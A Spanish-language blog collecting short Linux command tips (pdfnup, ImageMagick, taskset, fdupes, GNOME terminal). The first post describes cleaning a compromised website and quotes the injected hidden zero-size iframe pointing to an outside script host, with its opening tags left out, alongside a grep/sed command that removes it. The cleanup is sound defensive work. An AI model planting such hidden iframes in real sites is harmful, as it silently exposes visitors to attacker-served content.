Mini post:
Encontré en uno de los sitios web que mantengo, un código de XSS (cross site scripting). Aún no determiné el punto de entrada, pero me enteré gracias a un mail de Google.
Con grep y sed es bastante sencillo eliminarlo, ni que hablar con un script en Python 😛
Con grep busco los archivos, y con xargs convierto la salida el pipe en un parámetro para sed, y con sed reemplazo el código. Como el código insertado está al final del archivo, la expresión regular hubiese podido ser mucho más sencilla.
grep ./ -l -R -e "http://reycross.com/lib/index.php" | xargs sed -i -e "s/<iframe.*reycross.*>.*<\/iframe>/ /g" |
grep ./ -l -R -e "http://reycross.com/lib/index.php" | xargs sed -i -e "s/<iframe.*reycross.*>.*<\/iframe>/ /g"
El código a eliminar era este (no agrego los tags de apertura a propósito):
iframe
src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" framebord
er=0 marginheight=0 marginwidth=0 scrolling=no
iframe |
iframe
src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" framebord
er=0 marginheight=0 marginwidth=0 scrolling=no
iframe
¿Alguien que le haya ocurrido esto?
En este post voy a ir agregando comandos útiles que vamos encontrando entre los conocidos (y los que aporten), que permiten realizar tareas desde la consola sin tener que recurrir a programas sofisticados.
Confirmar todas las acciones que pregunte un programa interactivo.
devuelve una «y» cada vez que el programa quiere leer de la entrada estandar
devuelve una «s» cada vez que el programa quiere leer de la entrada estandar
Encontrar archivos duplicados y conservar uno.
fdupes encuentra mediante md5 archivos duplicados en la carpeta indicada. El parámetro d, le dice que borre el resto conservando el que le indiquemos. Mediante «yes 1» le decimos que conserve el primero que encuentra. Cuidado con md5 ;-).
Generar un PDF con varias páginas en una sola partiendo de otro PDF.
$ pdfnup salida.pdf --nup 2x5 --orient portrait --frame true |
$ pdfnup salida.pdf --nup 2x5 --orient portrait --frame true
Dai me contó acerca de una aplicación llamada pdfnup. Permite hacer lo que uno quiera con un PDF, como recortarlo (cortarle los márgenes excesivos), agrupar en disposición de tabla varias páginas dentro de cada una (para poder imprimir por ejemplo 2×3 páginas or carilla). Tiene muchas opciones, pero a la vez configuradas por defecto para no necesitar agregar muchas cosas. El archivo de salida se llamará igual que el de entrada más la disposición, por ejemplo «salida-2×5.pdf».
Recortar varias imágenes y convertirlas en PDF (una por página).
$ convert -crop '750x350+110+200' +repage resp?/*.png salida.pdf |
$ convert -crop '750x350+110+200' +repage resp?/*.png salida.pdf
convert es una de las aplicaciones de ImageMagick. Conserva los originales, permitiendo mientras convertimos de formato, modificarle brillo, contraste, recortarla, rotarla, y muchos etcéteras. Si quisieramos que convierta cada imagen en un archivo separado, bastaría con combinarlo con
$ find ./ -iname '*.png' -exec convert '{}' '{}.pdf' ';' |
$ find ./ -iname '*.png' -exec convert '{}' '{}.pdf' ';'
donde {} representa el nombre del archivo y ‘;’ finaliza el comando.
Mini post: Estaba corriendo jBoss y la salida de logging quería ir leyéndola en la consola. Si bien voy guardando logging en un archivo, me molestaba que se pudieron ver «pocas» líneas en la Gnome Terminal.
Buscando entre las preferencias encontré la solapa Desplazamiento, donde podía elegiar la cantidad de líneas. Una curiosidad tonta, pero que no había visto en 4 años de uso Gnome.
Este es un mini post. Si tenés un procesador doble núcleo (intel, amd,dual core, core 2 duo, quad core, etc) o más de un procesador, podés designar procesos a cada uno de estos, para que no interfieran entre ellos. Si bien esta es una tarea del planificado del sistema, uno puede indicarle cómo quiere que trate a algunos proceso (por ejemplo con la utilidad nice).
La idea es mostrarles cómo elegir en cuál núcleo, o en cuáles núcleos quiero que se ejecute un proceso. Esto se llama afinidad o affinity en inglés.
La utilidad que me permite hacer esto se conoce como taskset y permite tanto arrancar un proceso en los determinados procesadores de nuestro sistema, así como también cambiar su afinidad luego de estar corriendo estos (mediante el PID).
Para elegir los procesadores basta con pensar en cada procesador (o núcleo) como un bit en la siguiente máscara:
0 0 0 0 0 0 0 1 Procesador 1
0 0 0 0 0 0 1 0 Procesador 2
0 0 0 0 0 1 0 0 Procesador 3
0 0 0 0 1 0 0 0 Procesador 4
0 0 0 0 0 0 1 1 Procesador 1,2
0 0 0 0 0 1 1 0 Procesador 2,3 |
0 0 0 0 0 0 0 1 Procesador 1
0 0 0 0 0 0 1 0 Procesador 2
0 0 0 0 0 1 0 0 Procesador 3
0 0 0 0 1 0 0 0 Procesador 4
0 0 0 0 0 0 1 1 Procesador 1,2
0 0 0 0 0 1 1 0 Procesador 2,3
Como los valores deben ser escritos en hexa, el comando se termina ejecutando como:
Para el núcleo 2:
taskset 0x00000002 ./proceso |
Para el núcleo 2:
taskset 0x00000002 ./proceso
Para el núcleo 1:
taskset 0x00000001 ./proceso |
Para el núcleo 1:
taskset 0x00000001 ./proceso
Espero haya sido útil 😀